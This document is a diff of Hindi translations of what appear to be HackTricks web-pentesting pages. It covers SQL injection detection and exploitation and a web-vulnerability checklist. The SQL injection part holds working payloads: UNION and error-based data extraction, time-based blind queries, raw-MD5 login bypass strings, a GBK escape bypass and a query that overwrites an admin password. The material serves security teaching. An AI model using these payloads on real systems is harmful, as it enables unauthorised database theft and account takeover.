एक विश्वसनीय विधि SQL injection vulnerability की पुष्टि करने के लिए **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना शामिल है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को `?username=Peter' or '1'='1` में संशोधित करने पर समान सामग्री उत्पन्न होना SQL injection vulnerability का संकेत देता है।
|
||||
एक विश्वसनीय विधि SQL injection vulnerability की पुष्टि करने के लिए **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना शामिल है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को संशोधित करने पर `?username=Peter' or '1'='1` समान सामग्री उत्पन्न करना SQL injection vulnerability का संकेत देता है।
|
||||
|
||||
इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
|
||||
|
||||
Logical operation confirmation को प्रदर्शित करने वाले उदाहरण:
|
||||
Examples demonstrating logical operation confirmation:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
यह शब्द-सूची को प्रस्तावित तरीके से **SQLinjections** की **पुष्टि** करने के लिए बनाया गया था:
|
||||
यह शब्द-सूची **SQLinjections** की पुष्टि करने के लिए प्रस्तावित तरीके से बनाई गई थी:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
|
||||
### समय के साथ पुष्टि करना
|
||||
|
||||
कुछ मामलों में आप **पृष्ठ पर कोई परिवर्तन नहीं देखेंगे** जिसे आप परीक्षण कर रहे हैं। इसलिए, **ब्लाइंड SQL injections** का पता लगाने का एक अच्छा तरीका है कि DB को क्रियाएँ करने के लिए मजबूर करना और यह पृष्ठ को लोड करने में **समय पर प्रभाव** डालेगा।\
|
||||
कुछ मामलों में, आप परीक्षण कर रहे पृष्ठ पर **कोई परिवर्तन नहीं देखेंगे**। इसलिए, **ब्लाइंड SQL injections** का पता लगाने का एक अच्छा तरीका है कि DB को क्रियाएँ करने के लिए मजबूर किया जाए, जो पृष्ठ को लोड होने में **समय पर प्रभाव** डालेगा।\
|
||||
इसलिए, हम SQL क्वेरी में एक ऐसा ऑपरेशन जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -125,28 +125,28 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Also, यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट करने** के लिए बना सकते हैं।
|
||||
Also, if you have access to the output of the query, you could make it **print the version of the database**.
|
||||
|
||||
> [!NOTE]
|
||||
> एक निरंतरता में हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
|
||||
> एक निरंतरता है जिसमें हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करेंगे। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
|
||||
|
||||
### PortSwigger के साथ पहचानना
|
||||
### Identifying with PortSwigger
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## यूनियन आधारित शोषण
|
||||
## Exploiting Union Based
|
||||
|
||||
### कॉलम की संख्या का पता लगाना
|
||||
### Detecting number of columns
|
||||
|
||||
यदि आप क्वेरी के आउटपुट को देख सकते हैं तो यह इसे शोषित करने का सबसे अच्छा तरीका है।\
|
||||
सबसे पहले, हमें यह पता लगाने की आवश्यकता है कि **प्रारंभिक अनुरोध** कितने **कॉलम** वापस कर रहा है। इसका कारण यह है कि **दोनों क्वेरी को समान संख्या में कॉलम वापस करना चाहिए**।\
|
||||
If you can see the output of the query this is the best way to exploit it.\
|
||||
First of all, हमें यह पता लगाना है कि **प्रारंभिक अनुरोध** कितने **स्तंभ** वापस कर रहा है। इसका कारण यह है कि **दोनों प्रश्नों को समान संख्या में स्तंभ लौटाने चाहिए**।\
|
||||
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:
|
||||
|
||||
#### ऑर्डर/ग्रुप द्वारा
|
||||
#### Order/Group by
|
||||
|
||||
क्वेरी में कॉलम की संख्या निर्धारित करने के लिए, **ORDER BY** या **GROUP BY** क्लॉज़ में उपयोग की जाने वाली संख्या को क्रमिक रूप से समायोजित करें जब तक कि एक गलत प्रतिक्रिया प्राप्त न हो। SQL में **GROUP BY** और **ORDER BY** की अलग-अलग कार्यक्षमताओं के बावजूद, दोनों का उपयोग क्वेरी के कॉलम की संख्या का पता लगाने के लिए समान रूप से किया जा सकता है।
|
||||
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -164,7 +164,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
जांच करें कि क्वेरी सही है, इसके लिए अधिक से अधिक null मान चुनें:
|
||||
जांच करें कि क्वेरी सही है या नहीं, इसके लिए अधिक से अधिक null मान चुनें:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
@ -185,11 +185,11 @@ _आपको `null` मानों का उपयोग करना चा
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा वही कार्यप्रणाली होती है।_
|
||||
_हर अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा वही पद्धति होती है।_
|
||||
|
||||
## छिपे हुए यूनियन आधारित का शोषण
|
||||
|
||||
जब एक क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन-आधारित इंजेक्शन असंभव लगता है, तो यह **छिपे हुए यूनियन-आधारित इंजेक्शन** की उपस्थिति का संकेत देता है। यह परिदृश्य अक्सर एक ब्लाइंड इंजेक्शन स्थिति की ओर ले जाता है। एक ब्लाइंड इंजेक्शन को यूनियन-आधारित में बदलने के लिए, बैकएंड पर निष्पादन क्वेरी को पहचानना आवश्यक है।
|
||||
जब एक क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन-आधारित इंजेक्शन असंभव लगता है, तो यह **छिपे हुए यूनियन-आधारित इंजेक्शन** की उपस्थिति का संकेत देता है। यह परिदृश्य अक्सर एक ब्लाइंड इंजेक्शन स्थिति की ओर ले जाता है। एक ब्लाइंड इंजेक्शन को यूनियन-आधारित में बदलने के लिए, बैकएंड पर निष्पादित क्वेरी को पहचानना आवश्यक है।
|
||||
|
||||
यह आपके लक्षित डेटाबेस प्रबंधन प्रणाली (DBMS) के लिए विशिष्ट डिफ़ॉल्ट तालिकाओं के साथ ब्लाइंड इंजेक्शन तकनीकों का उपयोग करके किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS की दस्तावेज़ीकरण की सलाह दी जाती है।
|
||||
|
||||
@ -199,7 +199,7 @@ _हर अलग-अलग डेटाबेस पर इस डेटा क
|
||||
|
||||
## त्रुटि आधारित का शोषण
|
||||
|
||||
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** **नहीं** देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
|
||||
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
|
||||
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -213,13 +213,13 @@ _हर अलग-अलग डेटाबेस पर इस डेटा क
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
यह **पहले के मामले की तरह ही है** लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप **भेद कर सकते हैं** कि SQL क्वेरी में एक **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
|
||||
यह **पहले के समान मामला है** लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप **भेद कर सकते हैं** कि SQL क्वेरी में एक **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
इस मामले में **कोई** तरीका **नहीं** है **जिससे** आप पृष्ठ के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचान** सकें। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित अक्षर सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](#confirming-with-timing) देखा है।
|
||||
इस मामले में **कोई** तरीका **नहीं** है **पृष्ठ** के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचानने** के लिए। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित वर्ण सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने](#confirming-with-timing) के लिए देखा है।
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Automated Exploitation
|
||||
|
||||
Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Tech specific info
|
||||
|
||||
@ -249,15 +249,15 @@ Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**s
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
- [MySQL](mysql-injection/)
|
||||
- [MySQL](mysql-injection/index.html)
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
या आप **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी तकनीकें** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में पाएंगे।
|
||||
|
||||
## Authentication bypass
|
||||
|
||||
List to try to bypass the login functionality:
|
||||
लॉगिन कार्यक्षमता को बायपास करने के लिए प्रयास करने के लिए सूची:
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
@ -267,7 +267,7 @@ List to try to bypass the login functionality:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
|
||||
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस प्रकार से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -283,7 +283,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK प्रमाणीकरण बायपास
|
||||
### GBK प्रमाणीकरण बाईपास
|
||||
|
||||
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को स्केप किया जाता है तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
@ -332,7 +332,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` क्लॉज़ MySQL में उस क्रिया को निर्दिष्ट करने के लिए उपयोग किया जाता है जो डेटाबेस तब करता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
|
||||
`ON DUPLICATE KEY UPDATE` क्लॉज़ MySQL में उपयोग किया जाता है ताकि डेटाबेस को यह निर्दिष्ट किया जा सके कि जब एक पंक्ति डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा, तो उसे क्या कार्रवाई करनी चाहिए। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
@ -452,7 +452,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
या **comma bypass** का उपयोग करके:
|
||||
या **कॉमा बायपास** का उपयोग करके:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
|
@ -10,18 +10,18 @@
|
||||
> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर **कुछ प्रकार के** **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिनका (दुरुपयोग) कमजोरियों का शोषण करने के लिए किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन आमतौर पर इसके लिए बैकएंड में कुछ अतिरिक्त कमजोरी भी चाहिए होती है।
|
||||
|
||||
- [ ] [**हॉप-बाय-हॉप हेडर का दुरुपयोग**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**कैश पॉइज़निंग/कैश धोखा**](cache-deception/)
|
||||
- [ ] [**कैश पॉइज़निंग/कैश धोखा**](cache-deception/index.html)
|
||||
- [ ] [**HTTP अनुरोध स्मगलिंग**](http-request-smuggling/)
|
||||
- [ ] [**H2C स्मगलिंग**](h2c-smuggling.md)
|
||||
- [ ] [**सर्वर साइड समावेशन/एज साइड समावेशन**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**क्लाउडफ्लेयर का अनावरण**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT सर्वर साइड इंजेक्शन**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**प्रॉक्सी / WAF सुरक्षा बायपास**](proxy-waf-protections-bypass.md)
|
||||
- [ ] [**प्रॉक्सी / WAF सुरक्षा बाईपास**](proxy-waf-protections-bypass.md)
|
||||
|
||||
## **उपयोगकर्ता इनपुट**
|
||||
|
||||
> [!NOTE]
|
||||
> अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जो बाद में संसाधित किया जाएगा।**\
|
||||
> अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जिसे बाद में संसाधित किया जाएगा।**\
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर सकता है या नहीं।
|
||||
|
||||
### **प्रतिबिंबित मान**
|
||||
@ -31,18 +31,18 @@
|
||||
- [ ] [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](client-side-template-injection-csti.md)
|
||||
- [ ] [**कमांड इंजेक्शन**](command-injection.md)
|
||||
- [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
- [ ] [**डैंगलिंग मार्कअप**](dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/)
|
||||
- [ ] [**डैंगलिंग मार्कअप**](dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/index.html)
|
||||
- [ ] [**ओपन रीडायरेक्ट**](open-redirect.md)
|
||||
- [ ] [**प्रोटोटाइप प्रदूषण से XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**सर्वर साइड समावेशन/एज साइड समावेशन**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**सर्वर साइड अनुरोध धोखाधड़ी**](ssrf-server-side-request-forgery/)
|
||||
- [ ] [**सर्वर साइड टेम्पलेट इंजेक्शन**](ssti-server-side-template-injection/)
|
||||
- [ ] [**सर्वर साइड अनुरोध धोखाधड़ी**](ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**सर्वर साइड टेम्पलेट इंजेक्शन**](ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**रिवर्स टैब नबिंग**](reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT सर्वर साइड इंजेक्शन**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](xs-search/)
|
||||
- [ ] [**XS-Search**](xs-search/index.html)
|
||||
|
||||
कुछ उल्लेखित कमजोरियों के लिए विशेष परिस्थितियों की आवश्यकता होती है, अन्य केवल सामग्री के प्रतिबिंबित होने की आवश्यकता होती है। आप कुछ दिलचस्प पॉलीग्लॉट्स पा सकते हैं जो जल्दी से कमजोरियों का परीक्षण करने के लिए हैं:
|
||||
|
||||
@ -52,13 +52,13 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### **खोज कार्यक्षमताएँ**
|
||||
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड में किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड के भीतर किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/)
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/index.html)
|
||||
- [ ] [**NoSQL इंजेक्शन**](nosql-injection.md)
|
||||
- [ ] [**LDAP इंजेक्शन**](ldap-injection.md)
|
||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL इंजेक्शन**](sql-injection/)
|
||||
- [ ] [**SQL इंजेक्शन**](sql-injection/index.html)
|
||||
- [ ] [**XPATH इंजेक्शन**](xpath-injection.md)
|
||||
|
||||
### **फॉर्म, वेबसॉकेट और पोस्टमैसेज**
|
||||
@ -67,28 +67,28 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
- [ ] [**क्रॉस साइट अनुरोध धोखाधड़ी**](csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**क्रॉस-साइट वेबसॉकेट हाईजैकिंग (CSWSH)**](websocket-attacks.md)
|
||||
- [ ] [**पोस्टमैसेज कमजोरियाँ**](postmessage-vulnerabilities/)
|
||||
- [ ] [**पोस्टमैसेज कमजोरियाँ**](postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP हेडर**
|
||||
|
||||
वेब सर्वर द्वारा दिए गए HTTP हेडर के आधार पर कुछ कमजोरियाँ मौजूद हो सकती हैं।
|
||||
|
||||
- [ ] [**क्लिकजैकिंग**](clickjacking.md)
|
||||
- [ ] [**सामग्री सुरक्षा नीति बायपास**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**कुकीज़ हैकिंग**](hacking-with-cookies/)
|
||||
- [ ] [**CORS - गलत कॉन्फ़िगरेशन और बायपास**](cors-bypass.md)
|
||||
- [ ] [**सामग्री सुरक्षा नीति बाईपास**](content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**कुकीज हैकिंग**](hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - गलत कॉन्फ़िगरेशन और बाईपास**](cors-bypass.md)
|
||||
|
||||
### **बायपास**
|
||||
### **बाईपास**
|
||||
|
||||
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड बायपास करने के लिए उपयोगी हो सकते हैं
|
||||
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड बाईपास करने के लिए उपयोगी हो सकते हैं
|
||||
|
||||
- [ ] [**2FA/OTP बायपास**](2fa-bypass.md)
|
||||
- [ ] [**भुगतान प्रक्रिया बायपास**](bypass-payment-process.md)
|
||||
- [ ] [**कैप्चा बायपास**](captcha-bypass.md)
|
||||
- [ ] [**लॉगिन बायपास**](login-bypass/)
|
||||
- [ ] [**2FA/OTP बाईपास**](2fa-bypass.md)
|
||||
- [ ] [**भुगतान प्रक्रिया बाईपास**](bypass-payment-process.md)
|
||||
- [ ] [**कैप्चा बाईपास**](captcha-bypass.md)
|
||||
- [ ] [**लॉगिन बाईपास**](login-bypass/index.html)
|
||||
- [ ] [**रेस कंडीशन**](race-condition.md)
|
||||
- [ ] [**रेट लिमिट बायपास**](rate-limit-bypass.md)
|
||||
- [ ] [**भूल गए पासवर्ड रीसेट बायपास**](reset-password.md)
|
||||
- [ ] [**रेट लिमिट बाईपास**](rate-limit-bypass.md)
|
||||
- [ ] [**भूल गए पासवर्ड रीसेट बाईपास**](reset-password.md)
|
||||
- [ ] [**पंजीकरण कमजोरियाँ**](registration-vulnerabilities.md)
|
||||
|
||||
### **संरचित वस्तुएँ / विशिष्ट कार्यक्षमताएँ**
|
||||
@ -96,18 +96,18 @@ pocs-and-polygloths-cheatsheet/
|
||||
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होती है** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करना होगा।\
|
||||
कुछ **विशिष्ट कार्यक्षमताएँ** भी कमजोर हो सकती हैं यदि **इनपुट का एक विशिष्ट प्रारूप उपयोग किया जाता है** (जैसे ईमेल हेडर इंजेक्शन)।
|
||||
|
||||
- [ ] [**डेसिरियलाइजेशन**](deserialization/)
|
||||
- [ ] [**डेसिरियलाइजेशन**](deserialization/index.html)
|
||||
- [ ] [**ईमेल हेडर इंजेक्शन**](email-injections.md)
|
||||
- [ ] [**JWT कमजोरियाँ**](hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML एक्सटर्नल एंटिटी**](xxe-xee-xml-external-entity.md)
|
||||
|
||||
### फ़ाइलें
|
||||
|
||||
फंक्शनलिटीज जो फ़ाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
|
||||
फंक्शनलिटीज जो उपयोगकर्ता इनपुट सहित फ़ाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
|
||||
ऐसी कार्यक्षमताएँ जो फ़ाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
|
||||
ऐसी कार्यक्षमताएँ जो उपयोगकर्ता इनपुट सहित फ़ाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
|
||||
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें या स्वचालित रूप से उत्पन्न फ़ाइलें खोलते हैं, वे समझौता हो सकते हैं।
|
||||
|
||||
- [ ] [**फाइल अपलोड**](file-upload/)
|
||||
- [ ] [**फ़ाइल अपलोड**](file-upload/index.html)
|
||||
- [ ] [**फॉर्मूला इंजेक्शन**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF इंजेक्शन**](xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**सर्वर साइड XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
@ -115,7 +115,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
### **बाहरी पहचान प्रबंधन**
|
||||
|
||||
- [ ] [**OAUTH से खाता अधिग्रहण**](oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML हमले**](saml-attacks/)
|
||||
- [ ] [**SAML हमले**](saml-attacks/index.html)
|
||||
|
||||
### **अन्य सहायक कमजोरियाँ**
|
||||
|
||||
@ -124,6 +124,6 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**डोमेन/सबडोमेन अधिग्रहण**](domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](idor.md)
|
||||
- [ ] [**पैरामीटर प्रदूषण**](parameter-pollution.md)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण कमजोरी**](unicode-injection/)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण कमजोरी**](unicode-injection/index.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,129 +1,129 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
# वेब कमजोरियों की कार्यप्रणाली
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
हर Web Pentest में, **कई छिपे हुए और स्पष्ट स्थान हो सकते हैं जो कमजोर हो सकते हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि यह पुष्टि की जा सके कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
|
||||
हर वेब पेंटेस्ट में, **कई छिपी और स्पष्ट जगहें हो सकती हैं जो कमजोर हो सकती हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि यह सुनिश्चित किया जा सके कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
|
||||
|
||||
## Proxies
|
||||
## प्रॉक्सी
|
||||
|
||||
> [!NOTE]
|
||||
> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर **कुछ प्रकार के** **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिन्हें कमजोरियों का शोषण करने के लिए (दुरुपयोग) किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन आमतौर पर इसके लिए बैकएंड में कुछ अतिरिक्त कमजोरी भी चाहिए होती है।
|
||||
